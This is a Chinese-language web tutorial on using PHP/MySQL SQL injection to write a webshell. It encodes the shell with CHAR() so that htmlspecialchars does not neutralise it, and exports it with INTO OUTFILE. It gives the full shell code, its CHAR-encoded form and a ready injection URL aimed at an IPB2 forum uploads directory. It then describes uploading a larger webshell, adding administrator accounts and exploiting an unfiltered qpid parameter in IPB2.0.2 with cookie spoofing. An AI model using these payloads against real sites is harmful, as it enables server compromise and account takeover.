萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

PHP MySQL 注入新技巧:繞過 htmlspecialchars 直接導出 WebShell

從「插入數據導出」到「直接寫入檔案」的突破

早期 MySQL 注入導出 WebShell 的常規思路是:構造惡意數據插入數據庫,再利用 INTO OUTFILE 導出。但許多 PHP 應用(如 IPB 論壇)在入庫前會對數據進行 htmlspecialchars() 轉義,導致 Shell 代碼被實體化,無法執行。

核心突破:利用 CHAR() 函數繞過轉義

測試發現,UNION SELECT 查詢結果可直接作為 INTO OUTFILE 的輸出內容。若將 Shell 代碼轉為 ASCII 碼,通過 CHAR() 函數重組,即可繞過應用層過濾,直接寫入可執行的 PHP 檔案。

實戰演示步驟

  1. 確認可寫目錄:IPB2 的 /ipb2/uploads/ 目錄需可寫以支持附件上傳。
  2. 構造 Shell 代碼:<?copy($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);?>
  3. 轉為 CHAR 序列:CHAR(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
  4. 注入語句:
    ?id=1 AND 1=2 UNION SELECT 1,1,CHAR(...) FROM user INTO OUTFILE '/home/www/ipb2/uploads/upload.php'/*
  5. 驗證與利用:訪問 upload.php,構造上傳表單,上傳大馬(如 PhpSpy),進而獲取數據庫權限、添加管理員帳號。

IPB2 實際漏洞利用補充

IPB2.0.2 中 qpid 參數未過濾,可進行聯合查詢獲取管理員密碼 Hash,再利用 Cookie 欺騙登入後台。工具(如 r57ipb.pl)雖自動化,但手工構造更靈活,無需知道 SID 等額外參數。

總結

此技巧優勢在於:無需插入數據、不受字段類型長度限制、繞過 htmlspecialchars 等轉義函數。僅需知道一張表名即可導出文件,極大降低了利用門檻。但前提是 MySQL 帳號擁有 FILE 權限且 magic_quotes_gpc=Off。

copyright © 萬盛學電腦網 all rights reserved